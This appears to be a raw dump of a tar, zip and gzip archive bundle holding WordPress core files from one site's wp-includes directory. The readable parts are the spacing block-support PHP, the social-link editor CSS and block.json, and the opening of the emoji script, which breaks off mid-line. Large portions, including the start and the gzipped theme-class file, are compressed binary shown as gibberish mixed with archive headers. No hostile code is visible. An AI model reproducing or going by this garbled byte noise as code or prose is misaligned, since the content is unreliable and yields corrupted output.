;�4�Q��7L�K��b@w)���_��(�1�G�Q��ʦ�w@[��Ws�1i�U����۝[!ki�Q�rp�"b��/%*�,������%z��uA��tD�N)�#��b��{H���H.G�1�)�8<�]p~�L�,Ӓ��#p\�&kt�S��G(m���8�\#*s�+Y¯ނ����-�B���T�u��)啐��z+��, �)�����m1<���ΚvOl�Y�֯����¾�"�lr�64q��Li3�&yMW������oԯ�q�W6���r4sKhV�&7/L*qن��:�‹�v��Y��Z�ľy�
y'6Zk�kaְ�6
�n�Vs���zL�h�\Y�S8�柵צ�P`ktN�]w��]w�=�[;�����nk��@}��P0hÈA�ګ��5h��R�i��]�G��������v.#��t�o�3�
|�&�O/卹��3�\�Dh�=�d���.?H� ՗6����a�W���ϔO��K���>WT�i�*.��he	��/�,�F�7����Η��Ɂ����)QWb�Y�U7��k\[�4"�i���+@�
��3�%26\�0�:���lť���q�))�w�K�;��$���	_(.Y��q�dcx��\�O�\������^����a7G�B;T���,��z�	����y�^O�ˉ�ҥ��R  �@��'�cwHZ�J�1��%�<�%���v�G��?���ۡ?^
��zQ��R_u�y���G��!��Wu�_m
��������C'e�7�_r�w�r�R1��խ�a�d
�P&�ؠ���^O�}��t��L���g��?��{�Mw}�z֟�O �h?�����s�$���o��'O�t|��uS����LL#1u^`H���;�>�y9���)�n�}����<������~�tiѽq�_u��-yO���%��QB*�P���B+��'ۼic�{����p�Q�5�j�ە76��	�	n�m.����@�y*��.�t�\����G�	��4�ι�hh�T 1&��J��hY�泺�-m�H �q���`q�*��bjn^g�v�1s�n�5O���n-B͠6��F�Δ�V(�2��Zu�H�����L�?�x�����Srhx�
�,��,���R}
��ճ��(���)j���O
��{qZ^�
�n�)��h�{en��)�W����-�fǸ��=�@�[_��+?��!^�_%Z^åU�d�8��o�U2[[��tQ��/��p@�E�x�>�
��x\-�zm*�M�
iFP�+ѷ�.��;<SN�e���~��/�^@���Bg�V/���D�U|m�j��w�|���5d-�m�j�b�>�UY�!�,��ׯ7�~��i2��&֭��ۊ��L`Y�8Ê��֚�&��z��\c��ۊ�tc�-1�d�&�����J�N�5G�D�/N9��7��ރ��7ߝ�f��z�イ�p�/yk{M�%��(���o����:�g����ke�����~3`��ko�Q�;�	�Eg�=��.j߰�Z1�������3�:,u{��{�+��������/b���d14338/spacing.php.tar000064400000011000151024420100010125 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php000064400000005474151024312560026511 0ustar00<?php
/**
 * Spacing block support flag.
 *
 * For backwards compatibility, this remains separate to the dimensions.php
 * block support despite both belonging under a single panel in the editor.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_spacing_support( $block_type ) {
	$has_spacing_support = block_has_support( $block_type, 'spacing', false );

	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_spacing_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Adds CSS classes for block spacing to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.8.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block spacing CSS classes and inline styles.
 */
function wp_apply_spacing_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'spacing' ) ) {
		return array();
	}

	$attributes          = array();
	$has_padding_support = block_has_support( $block_type, array( 'spacing', 'padding' ), false );
	$has_margin_support  = block_has_support( $block_type, array( 'spacing', 'margin' ), false );
	$block_styles        = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;

	if ( ! $block_styles ) {
		return $attributes;
	}

	$skip_padding         = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'padding' );
	$skip_margin          = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'margin' );
	$spacing_block_styles = array(
		'padding' => null,
		'margin'  => null,
	);
	if ( $has_padding_support && ! $skip_padding ) {
		$spacing_block_styles['padding'] = isset( $block_styles['spacing']['padding'] ) ? $block_styles['spacing']['padding'] : null;
	}
	if ( $has_margin_support && ! $skip_margin ) {
		$spacing_block_styles['margin'] = isset( $block_styles['spacing']['margin'] ) ? $block_styles['spacing']['margin'] : null;
	}
	$styles = wp_style_engine_get_styles( array( 'spacing' => $spacing_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'spacing',
	array(
		'register_attribute' => 'wp_register_spacing_support',
		'apply'              => 'wp_apply_spacing_support',
	)
);
14338/class-wp-theme.php.php.tar.gz000064400000034254151024420100012557 0ustar00��}kw�Ʊ`�R�֥3�d8�l�q(Q��d�:+�:m�]]��ID``H1��o�zuwu�1�����I,����zuuU�y5�N묹8�Gy0��y�L�2�YZ���r�,OO��ʹZ���xZ�.�y9-���9�i��CI{�ͳ��|������޽h����ܹ��G�����;��?������N����Y6mZÐ���~�?�[v�����!����1y��
%X���t�&=˒�z�0���fyb>P.�Ȓ���w��[���QQT�O��t�O���"��<k^�:�˴H{ܰ�|Q��e�$��:�z4��pɏ�n��wp��`Z��B��<m��,+�yZ��f	��\��6KO�l������͍
.�:9��BU�2��W/x>��Y޴�c�+��Y,O�|����Qr�Mv_M��,�eu��VuҴW0�),�4/��3���d��,H�f����f�X��$m�Ʀ}���.�����9�7��|:�����ݷOM�[��@�/_���V�hq�8퉌�MqS��vv_��l�����d�H�#�@Ø���'�f�|��U9�ﺀj<Z��U=pCH��(������a�Էim
xv`,�������e���n��5�ұ@�}�>��i��r�o�DJx���=�\�P	�0���s��A� ����%T�w^ɡV��h�$;M�E�4��~<�Ģ���%���S\e����F��u��k�Y��ղ��=���E~���^����mo�?Ed�o�	�)����z[|�Z�'V?Z�g��2��������ei�i���y��F�4ci��m��i�(�'�1~O�=^FB(�Z�b�⎥!T ����k%q�f�f�m֓��ZV 
:�>�r�!�Y�&��WSl�4�VXא�W��j�@�MWm��:U�̼���AU[�*�BB�t
i��F�坚U�
b5������*^)R)e�M:�q[��q_"�sŒH��Q���f��1��xnA�Ex�gZeZCh��d�.<
;��f���|Fb���eEzU-�VN��m���H��e�kyst�T��^��L�J)�uU��d�,Ӣ�J�x2�����xsK�KM'�sW�K@���i]��$M����8,,5Ծ��9x�a�›�ʒ�vm��l�>S��^�60���}H�����Q��g�Ŕq=5g�Y8��5�uZ6��E?N���e���Tp8����r�zh����Iua��{�∄-'�'���뺂��J:ng5�syZB��N���������p���	d4���d�㴭�+ku��N0#�H�ϲ���<��B�Lӆ:H��y^w1b���#��,׿���e�@��is�e y����d��z��� ���Hk�[}`�K�E�z`1]{7��S�J�D�����`+[���z�}�l�O�$5�A�޴�,�\��"=�#�eh�Di�8�s�RQ�Z�xc��3�N�^��!�L�O�(r�ᫀ@a�b	���Mvu=4��O����2�5RtkU#����;�^��2c��M
nO��s���ڦ�:�)�4�nY�ߚ�nӏP����r�&k��Z��%���A�:
���d5�Wb����Q�>$N�������bE�������<�v��)�h��|�zW���׫d�L8�ڲj#��p	K�㲁3W��ܱf)��M�(��ٝ;z=�A�h�%�vZ��s��r�YQ�����d�8����c�G�\j��殭�$O�x��pm���k��Zl�M:
�*�E��NX<=Պ!��������ݠ!�`��x��U#6*g��lm2��Fz�#;���&���*�wt���hb�9I;,�$�Euf���&��X"���8=<��<��"��@�K@��.����7.���V����?0���bzm�k{Ĝ�
���xҎ,h�:h;��t6�0,'gu�\��<�鑻̛I^n"����6����%�-6Ѳ*�&����2-gx�ԙg5�����RDn&�E�Gɐ�jj�"q�?T�u�9m�ٹ*�����y��v�0!Rk5G��g�v��'k,�=�� ��U	E�<������p:ӄPNXR�$8�½8�;��G�!��{��A���+�ۼ7��,O@k�}���������iy_��m_|��
&I�@A��b�����I�t��#R;�G�#�a�\ΐm
Z�n9r5�P'��J��T�U6�1u��?�,���Ya�k��vA;��@�B����+���BD��z�-X�&
x:��:k�uy߯�>P�;o=��H7�xs�s�o	!�u\�8U�K,:�iHu�K��{C��1�K�|X��٥5Ly����,�����A�*�S�b��_����C��q�z�*#�~&�!]=vX���� d3Vi�c�6x'k���v^cK�:��H-]V.8�k���(���p�����A"pB�r�I�O�~J�">���cwjv=��X���B�wPX
�؞��C�������̱�����M#�o�FR�4V�W
����mV�i�"#mL
nAX���a&�'<�ʁ�X1�J<�����/�lJ�`��h���!!���39vg6Gw0N�Ӂ���Y��0y���xȦo�+� D�"-
�eBrp�c� �@$��u�X�f&d��8p}�3S�3������C��!DBH1�u�`��H������H+�$���$-.ӫU���\���f���
;��1fp,�O=��Ҟ�pȁc��S�eĨѱ�J��.��X��ޤ��zz>L�.�w*0�njcCxjl���iP�좏Q��VU��Ϊ��Ȕ��+rF::��X�?v9aL��G&�I^�uG؀��EU>Щy�����%`H��>�~�/R|!�'������i5��П���n��!I�k
�6gq U%��W��4�%&�!�
b� D�5�����"[2q ?(����z�%o��`�$gU5������֋��PѺ.�B�<�ə���O$D$뮊h�ľs`�oѾ8Ї8���\��G�j2�{h����45J>:Ll����C�B���v��}6J�9%���|��B��R�\H����g��wK���(#>��۠��G���"B��A�������?�mn?|�.���NW�v
�0��~�+��#]V��a+~M��3���m��,��
���˪�-�l\�g"���EZN��~[-�is@�v_>�es�W�>��Ց��m�N~/���Io��^O]ܞ�n�H��1n�2z����ex0�``�g���D�<�h���N�޽i��G�����_��
_���y���i�ݙ�&F���E,�~p�Rw[���4d���ت��i����vpd8������7�S���˓+��v����~uj�Zw�~�b�74��à�:[8]��z�5����"(��?���W�r���C-5���q�����M�oU��ά������L��G������
h��*Ğ19���H/���"���X����T�^�ŷQ�e�vݏ���W�@[��AZ�9�'<W*���e���(x_��g�� �%�ل�c�*����"L��,�z����L�ȾZ<$�l��Τ(Y-_d�b�@�FN�.p�m�jqf���M�?3D{��#�񦨫�"���o��*i/��,+3�%G�KQ]f���g�!�Y2��Y�S�&cc�P�g͑WM{��w�_�}���A��o'�I&A�oY�YS�8لt����Mq��{��ѵ��i�
_�7~#�`�l��q�-2��'�a7R��Jw�,����=~ژʀ��g�m`#I��BZ�1�5��;�(�{K�! �nJD�������^J^OL^CN��.&��
t'��Ƃ�&�0=,�$8�ġ/���:��fRbxv�Qr��2�m*��Sj����?���Άw�"[6�L���=ª�����Z�Y�֎Б䧟�/`p������Ê��&���o(w������4�����_�R�}`w.l�]@��~;I�o�r������4dG�d���HLj�̳	��6oW���:�Ǣ��k���m	}K*��oK�r	w���ݣ�:2=��
'��+U�3`�<����]��	H�)EP�U#C��Rw:�jr���J_��h�K��&�"rd���Y����xU^d��0�N�����|�9RGk���1�\��\�8P�>Ft�E��Y�j�����ln��א�&�k�R���.
���>���%���g�y�~������0�MN��3G^�Vý5@��w��Sd�
����Y���������q�_��-Lc�
�w7�'�2�l�[�f;�������~��G�DSڊ�N4�H���p���:�`ZgYٜW�`d���.�g�O�h�MX�KT�&>���e�4\ԅ��>g��9qf�qŮ
�z�c�Y?@�+�_�C�;ƎC�7�ȡҜ���(д0�����.��<����
CQ�tI0P�ճ��=���J|�����׋_-ҏ%�u��}������z[�*�:C/���r�j$��#VT������Z6�t1^��݌t�)9���ы�	�nm��x�GVҏ����k�N��*�xK�L�[c����n��F�6'#�V�:�����T' �;Ml<&��y!�6|�z�骼lU�	�dW=<�.�ِ�1?�	E>���/������yQ<>O˳�U��qo/�RG�r�_�j�_�we(�M��t��-�ss�Ukh�B�Sh�����jgp�t�GZ���Z�� ��N'w׎�OkG��ߓ/�Щ�ۺO��j��Pq:v����:���u�}ֱ���*K�5��0�3�D��1"�v�_Qw��KG�c�U�$�J�u���H�NO)�V��/�K8��LR�@����F��1&��d(5�$�Cpp�z�# ��������T���h��~�@��۫1�L�3���R�,K���s���\�t����
g�����a���Z�L�a!J<�V�=8}�K�۶j�ׁ{��Xw�"Co:�<1ߝT���gS��3����~J�S᭔��˴����]���0����L�~t]�G���ZK�l��&��Ai�t�'�}��\$<�W��4��R�_\[	�A_k�4���Qd��ܭ�)l�B��;����5OE�������{�RdE�j�Jhn���u+�{�D�
wc�����|���Z�64��O�V�O�q97e��3*g��1Rp=�����/Aɡ���+|��Y='?�N���Ri1�d&R��]�w4
��:��9g�f�m��(1<ġ�f�0Bl�M�;K��uk����F���:�����޳��0����VfZ������C<AKJ>q��7�a��,)z�/�d�b���Y�J1���=�|0i�F����B���=��HP��-/��O���~���a�z�U�8�c"�5q���i�Y9��E��"PD�j�kЧ�
�2{���}�����N3�Ccp�2�Z4��C��]g��Q�� ���+<���ws����8�/�|�:١��f3s�I��*�臷T�%	g
>N9��X���1@�o�[���2	$Ǫ� �I�����ɣĆ�-���
͞���1vS�Ot�]�ƼB����&C{�$I�,V��2\�HF�(���;N����e��F6k�
��k	��.ޖ��ME�sl,-1�Q{����z�J?|\Z�/����ᆸ�+6��_�����Z�~��k�C,�y�YVdx��v3���X�b���C/��î\��n���I=��R���4��D0t|�z���~�.ˌ�R������
�ϯ���M�0_W��/Э#0z
�ْѤ#6�ǤI�^�@	@����ǡ�}�LXW�R�(-��E�ls�by�b��W�|?yl�HzP]mDv��\A�r�M�;��¥ڈgv�O�2Έ:�˙�k�h�;����}$!h쨛_�9���&6lUr~,#�#Z��cH���V�n\�t�y	H��8�N���
[$mrO܎���5
�AU�WF��*��� c�5�6��G�@;p���e;���Á�7_Y
��R汇�%���is̥y��{�p�
�,����g&���U�.2g��A��F{Q�'}���y��O����Kbҧ����L�#��,gx6h�����0�߷��J67�<&A��y��sޢK��֠�!�d����ߔ���a�p�6c_ �'x9W�4�x��󗮪N.%����Vu��5�&=�^N��Gچ����^1��9�S~�.�6Õ���b�ط�,Rs��-g�����@�N*pbB��~����b��3�N����$i�R/�h��~��
z�g���
����I�¿-��{-�|m3�����v�X+~�ؐ��+���#Z�H������nq��
�S�g�j@r��,O�V@��2(j��i=�g5��Ø��l���d�.t=��׾�<Hw��	����ط{%�Y.U��Ћa^�=��m�Q�e��L��w�ԅ��M����Hߣ��]�9�D?����DZ�Gp�fŒ V$d�"Ì�b?���	�;Q���E�.ݝ�/�#W�&M�G�
��k��윀��F���΂sv�-�{�l�Sxb�4�w��Im�������f^&'E:���j>ؤ.�M���<��T���
�r	�w�\L�4x�h9�^���8�E��9��$`�	u�x�L����_<|bJ^�K�B�������3z�w�ك	��L��V�^��3�)!h��tP�v��hg
�z6�2��p��E�Ȓ��.��X�t�nom{��9������!V�s`{��E0��р�͂�����(�)E檊+
��H0����+�����ҳߔ��S�=�`dI�ĉ(�1�r�Ј/̩$�T�k�M
F
�V�g���^!������Rƒ�U�IveV'
5�91X�.��]��8���hu�z^�ⱹC;�D�`y��KFu�Qa�*LB去1��QW���Ҥ��
%|T"+��.mr�7�w1��<�"�3W�00M������n�f�I�!r�U=�fa���帋p��Ţ�Vq�|�����z�ZN���)ˣ,n]�K���cg��h��И78�mǃ�e~-�^v���
��lT�oW�_���Λp��f��b��ge�-�������?�.�a*8J���Q���U��v/ҚM�π��׊���Okk`��#�
J���ԋ�{���փ��w�"��
%lª�s=;̀�x� �9���f�w.j�n���&�-��m��G�����Q2�u&7 ����9�(��:����uuA/ϹM'ܤ;99&���~R��7�Hc���O:]�2�1vu�ZW�eO����=��t�7���fYO��O�nU�kt Nu��O��"/����9}RU������\>��u6�DeS�o����EVG�}!�\�6-��=N=(�������ս�0Pt
�[>��3��"{�~�i��1�@�8�@}״��9a�g�iE[�yX�_�C�3����b�&�)����w~��vn�̧H;�&7��FEM�I��y�V'Eu�G�W���I�	I�����~2�
����Mr{wY��;�C_Wɣ�O�҃���K �lv������X��i��zd�]�k��|�iz}I���Р�Q��ک��\�0��z[a -���5��@�}wk�͠X���v틪��a�/��l�����{7l�…�_�+/�����m����x�S����5T�̾!����p�u��i�=r/El�կ��#Rg]\7Oo?��u�U%C����O�t�xV�t������޻�䠐�]��4[��ۍ`A@�?/h��A$�>��@,d�ǵ~�]�����E>�
��>����Y��o(��ޛ��7A��ᩱ0w�ˤ�(A8��}�Dž�O�^.�"+�l�e���p�n�(�m���~�=	P�φDH��B���!I����q���C���8y��tlP�j�O�C5�_�}���ّ��[�h����%�k�_��.����{�69'@��p�:�ea�0�6���P-:	��9.�?9d>��M Ҹ^2����~�
�B_�m�V��օ$��d��vH.����V`�����bh��E�G��
�����-/0��Y~J���Y�T��y�����خ{U��8����d�s{(�a HP���#?�b���7�0JP9�k����0%�$ތ�yZQ��JMyO}�G�K�F\���b�Y��ҕ�q��RT�.#�i�8*�������"帨��F�jdb�ѳ⸦�x���@�	zR��;<zw�Q��nLՂ�>@y�0�������$��,��@b/x�8����j;���]|��{�����8Y�-���D__k�z;����v�l\����g���|�mC���hG���)�r�
��1�ݢ��#��Y��j��#�`.x�o���2��].�A��,[�sg��)<˲�Y��*ń���ĒS@`8��w�po����ٿˍ8-�)F�G}�ݤ�a�Q�sA	��O[�|��Wn��,��j]���!{1k�R3�y���c�=�7M�ʡ�Ȏ#��G�S%�ё�t`���p���퉽�&�O��vH�N}0�{=�s��I�q�Y���9���AO�[u�0��!��	�o�7�S����O��rj3FiF��yiL[�3l�XD�5��tp�Q��eP�("��fO	a�,~`~�Q���r8�U�$�����h/w�7G���qATǼ�2����'M�c��~3N�Q��6��Z�Er�ő�s��
k�
Tc��/?��t�
x!tA_�;��i(�pԱI2�[�"u�*1+LU~
����������e[�/�~�	��	�p8����O�So��s��#2!��H��X��e��A��V�9v�l�$�Tϔ�#
��ݼ��<����;�YZZW�	z�!��^�}�(O����ZM��}���
�6�rGK;^J��洯�{ig���`�����}G4��@F]R�c����hNu��Q`h��7j�Fu�C�|�r��2�9·��4~��^{o���º~Yp��A��^W��Y�����	��w���֓��*���6�M�$V�V�=��M����5�pˏ;�\�1�|��Ӄ]Ul��GU��X�_�"�m�q���Y��o���AE��a}h)6����vPy��*�����O�%�D�j&ЖD��f��r7�;u�~ێ#F�����[�H�j�<�i�,a6:�<���8o�4G���>�7�s��r�z�ɑ�S��u3X�fnr{p`:�BU]/Pe_����D1u�~�A�hs�x�i�V�8�%"܁/H���,�w�U{F�15�V��<�T�'~�����a���m��gq�xl�|.��z�M7����(�# �� �l@~�L"�.>�6],
sPk�ҾBs۸�{8#H�P�]�.�"��pq� ,?#���36��Cq]�-@��O
�	<��x��%��k9�x�~��1���mA��I��+y��1����0���ǟ�e0g0f�!���"�.$�	`�O�it�|��dx���G7�;��4��r�b�������(����x+e��׈����8�X������������-�7d^c�7��6+,�&��Qr����[�c�n24�_cA��ӯ������y�6�v��L������ah�Ed�{
NC��TJDk�0�6���oq�)�J�U��7��
�*x	L���v��p�*��&����5��kE��:[d匳�M�쒯��zݱ����&#K�v&AA._�5 c��G�QS��?�5{3�\����#U[s
e�s�t ܝx�������B�bN�y��"m�sT�������/� S��E���Qn��;	�����/�$Uhfq��B��v4�$�FI�9�
���Vh�4���f3P2T5^��
x&�	�1,=���Ж�Ǔy5[һ+�JY9�,'H�h�[T%Z5]���]��@3��_���.㷗w^al��q�Häc��>�n9��&
{�ng��UM�e�l,�=�:�A�!<��d��6�}լ��8b`��
Y
,3Xhd����G�y�ۊ������k<�yj�����`����d/����17Zu(WϪt�ۍ�M9��F�@}f8OpF$��<��S�Q��h�L}cGt����|����Z}e��
{�ٺ�m�GW�Lj��[Ʈ�riJ�G�)�J$�l��҂�	�4
�IlG���:�-�i~�C/�j@BԦ*��$҆��A�dz���k��"*pG���ɡة�ػZ���̏A��ӊ�&��[g>*��
)
���t��~$�cz ���!�h��7�6@D��s��yC���Ft|��u<uM��A��gK8^7J��/��DL([4�FZT�G�����������y�^.�;��=�
�#c�Ѓ2k�
y���S@��ᘦ�`�J1u��6��wo���
o/�&�LM�)�ΐ�i�27j�Oi@��X�E��y��~OCAܜ=dȱ�' �W�Is�a1xk��
�&	Fn��CwTd��Ð�x$�*	��Z	����.7c�i�$R)�T�D��<�&#��{ٛ�Fߪs���',�Ƭ	Z�?��7�s�l��G�b�}<G���hu��/�|†Ĉ�G7��>���2U�g� C�I�ӷ����"� ��G�Lu@]�1��	��k�Vw[��Y���z�z��c��
�(ǹ�6�ؿf�
(f��Q�UYtTـ:
kl4�7g� )XگS����ʹ}Ɯ�A�BP���`@��S��D�`V�S��� ��.�h���ù���א�/iUN��j��m��|O�8h���PpZ���]���N�Sȏ�Mwc���
V��/���/��a8'Mr�׹��;2r�!�?���&��{tG[�S����5���
�"A>d���j��+">�\.��B�9(�ұ���|���25vX������ۯG"2�l�k��A��+#�থ�� ��<�gl��z��#^���
]�s����v#���=ӓ4<��fIvN��Z�'��d�V�d6��Ƥ�'?t�#�(�2��(RYi\o��}t-�İ�Ծ��a�y�/�=\��RT	�CBm׍N
�����'68�\?�8�*�]��pl�S����j�g:*֔���R~t�n,�R|���xK�_�v�	7�3IJF0jN�D.�{̩F���m9��8cwRr��3��u��_��ğ�}��1
rCf�?n����lH?"{p�:�a��@Fs�a/<�n�H+ N*~�.HU�7u�qC�$p��d�����π��5���A���+��o����9z|8��]��˥(�a�̡F!!/~�R��
���?�K7�:�3�o��Q2.G���p#X~
>���e_�����,�Q��k���J`F��<6�ȟ*��4��5o;���lM���E�>�#T�=Ko�C�[o�XŚ�(EF�-�W�C��z|�ʸx�c�kF&���J�͸����Uv~Y��-��t�L�]npz��m���b���j�4����Jֳf��^0�S�7D��
S�Ӽ>�4��� .��F����'M�dj�?u�RyZc��қ�+Ϟe3����]�$/�[��Ah�x��H~t�C���|�mv�W_�_�:�^:�ӭ ɭ��"�Yҳ},d
{5�-�+yr�{س��~�	��� �c+˴H�fJ�lZX~.��K®4��IJj��������ȏ��=�S�/yx��?Ʌ��EU��d�ٷ^jA�C4���qW�����=���t�n�a5�����g���L9�9��b���4/� o#d�%����L���s�
X�Lu�y_C�}�QT�%:>����e\�
m���B���j�O��׀P�!��!�a7�qԩL�:�T��P���A��y�a-��[�;�^��K�9
qS9'kn^��*�g���߮�w��)�����dQ,��r��o�N��Dy�ϗ���o��\�=bVB?��1��0��*y�S�_����������TR�g��v�l
���5ղ�b�D��g�˱�.%$�<J���؟�t�x�`��_P.d��*��%��}?�������f��"�"���x�`?��p����\Y�+�A^�2Ò����3��&��߾P����%=d�C�Y}xZ6���cx����T�ǀ�g�})u�m�}y�İ�F��_��eU�ܫ���+a�1�n��F�o17jڭj�^���\u�Ǥ.���ٝ����D�'���S'��W
��2ሽ�3o~��������jR"��{��͟Rx+��z�4�?�Wj�	�{�`4{m�D��o�}�\� �{�#���"�`�L�Z!�"F&_ژ!7�Iׁ|f�>X��冑�L������|���3�t������.�ۦL�讋����V����#7����9tk/Q
�NW���k��w�r
���y�]���]̝߯j����@��W��fc�4?���f�d����3���u������T�Bd
�V�|�#�r=J�2�HjL��1/�,�:oDШ^������m/J�H%�su��-R�hfR�@牒��'Z�����3 w�8��+�L;�bl:n�3�Ɂh�ȹ� YבI.ϟC:y�(��5�Y2���%�1)�L&_|�����|=��S�71�����Wus��=T��b���0T�zj����Ρo���۬�lnx�6+O��L�S����w���x
5�?ľ�](��np�_>��?��d��w��_���G�	y�y����Pć��p��M�m|��v���`���ŧ`�#���=QA]�����^��q��s !�@"�1���?9�="9B�	��K �.��E���aQ�TMό���
*/
)��Y%���>f�\���"��3
���2#�`�p�B.�)�}�k{�ڵ�o���C����t���� 7!��n+����R���]q@Z���_��\@� }�5^�;]���9�E(�M�[��0,��{4��??#������SV�a���l	��1‘.��=򸴞�����9pW<��UG>��.��*��T!�����ܠ��-#\a�>u���\h�_,,����zV6�������k�p8����6�y�4����_��i2�Pwm�~��*�4Ɯ_������/<�Jò���1�QM1��
��K���l��m�h��T��4��({��k��l�M�n������ø��b�S�>���H�����7w�2*�,�<m9sg�:owF6�,<�T$C����t5���m�O�n?`g9h�˴l
:&#�,������a
k&��9�|����<1ڣ�<��#*чd���GR"��/W�G�fjP�}�@K����Y�?��� �tg�$��&[}���YtH�� 4�"#�"�׳�i6��$G>�Ev%�%}�&�_�cE�q�%��|zA�A��/�#�&���3�K��z��H,��'��̪�z�O�����׸g�V���h4�����g�.]j�u�Z��J��1V��tǁM��Z��MI\.V�!��G|�Ϳ�x)�ӑh�ӕ�P�f�Gk꫸��B��Mظ�:/�
��M���q��o8!�u|�>�H��By3�{o
va�����5�7z��E(<+B+X��78_1���	H���(�qVN���L�[�O�2Ϙ5�閆�`E���:�ƽ��j����EE�<�RC,�/�\o�����w?��d7`y�Z8#�Y�{�_%>�L�d����#�"�j8e�e�����͉B~]4�<}KN
�"3�C~ ��z���ɗ�_=KN�-z��:9��Y��~�N�֬�,9]�9��Y��� ��n
���^���9����^%�Q�T��|����#^�H:2�J��������q����(W�0��D�w���S>�����
���n5��u��V!�BϹ�{�
���S��t�ı�f�R��=�
���+�5s��hZ4���G�[��1�R>!��M�lo���(�{��c���|
�➆`Ek��ld�-6��
��'(e�ݭw�~���o?�����?��]	�14338/social-link.zip000064400000010200151024420100010135 0ustar00PK�\d[�F��||editor-rtl.min.cssnu�[���.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-link-anchor{align-items:center;background:none;border:0;box-sizing:border-box;color:currentColor;cursor:pointer;display:inline-flex;font-family:inherit;font-size:inherit;font-weight:inherit;height:auto;margin:0;opacity:1;padding:.25em}.wp-block-social-link-anchor:hover{transform:none}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){padding-left:.6666666667em;padding-right:.6666666667em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){padding:0}.wp-block-social-link__toolbar_content_text{width:250px}PK�\d[=_����editor-rtl.cssnu�[���.wp-block-social-links .wp-social-link{
  line-height:0;
}

.wp-block-social-link-anchor{
  align-items:center;
  background:none;
  border:0;
  box-sizing:border-box;
  color:currentColor;
  cursor:pointer;
  display:inline-flex;
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
  height:auto;
  margin:0;
  opacity:1;
  padding:.25em;
}
.wp-block-social-link-anchor:hover{
  transform:none;
}

:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){
  padding-left:.6666666667em;
  padding-right:.6666666667em;
}

:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){
  padding:0;
}

.wp-block-social-link__toolbar_content_text{
  width:250px;
}PK�\d[=_����
editor.cssnu�[���.wp-block-social-links .wp-social-link{
  line-height:0;
}

.wp-block-social-link-anchor{
  align-items:center;
  background:none;
  border:0;
  box-sizing:border-box;
  color:currentColor;
  cursor:pointer;
  display:inline-flex;
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
  height:auto;
  margin:0;
  opacity:1;
  padding:.25em;
}
.wp-block-social-link-anchor:hover{
  transform:none;
}

:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){
  padding-left:.6666666667em;
  padding-right:.6666666667em;
}

:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){
  padding:0;
}

.wp-block-social-link__toolbar_content_text{
  width:250px;
}PK�\d[Ǎk�$$
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/social-link",
	"title": "Social Icon",
	"category": "widgets",
	"parent": [ "core/social-links" ],
	"description": "Display an icon linking to a social profile or site.",
	"textdomain": "default",
	"attributes": {
		"url": {
			"type": "string",
			"role": "content"
		},
		"service": {
			"type": "string"
		},
		"label": {
			"type": "string",
			"role": "content"
		},
		"rel": {
			"type": "string"
		}
	},
	"usesContext": [
		"openInNewTab",
		"showLabels",
		"iconColor",
		"iconColorValue",
		"iconBackgroundColor",
		"iconBackgroundColorValue"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-social-link-editor"
}
PK�\d[�F��||editor.min.cssnu�[���.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-link-anchor{align-items:center;background:none;border:0;box-sizing:border-box;color:currentColor;cursor:pointer;display:inline-flex;font-family:inherit;font-size:inherit;font-weight:inherit;height:auto;margin:0;opacity:1;padding:.25em}.wp-block-social-link-anchor:hover{transform:none}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){padding-left:.6666666667em;padding-right:.6666666667em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){padding:0}.wp-block-social-link__toolbar_content_text{width:250px}PK�\d[�F��||editor-rtl.min.cssnu�[���PK�\d[=_�����editor-rtl.cssnu�[���PK�\d[=_����
�editor.cssnu�[���PK�\d[Ǎk�$$
�block.jsonnu�[���PK�\d[�F��||.editor.min.cssnu�[���PK��14338/wp-emoji-release.min.js.tar000064400000051000151024420100012261 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/wp-emoji-release.min.js000064400000045463151024227120026265 0ustar00/*! This file is auto-generated */
// Source: wp-includes/js/twemoji.min.js
var twemoji=function(){"use strict";var h={base:"https://cdn.jsdelivr.net/gh/jdecked/twemoji@16.0.1/assets/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return e(d);return e(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:o},onerror:function(){this.parentNode&&this.parentNode.replaceChild(x(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u||(u={callback:u});return h.doNotParse=u.doNotParse,("string"==typeof d?function(d,a){return n(d,function(d){var u,f,c=d,e=N(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' 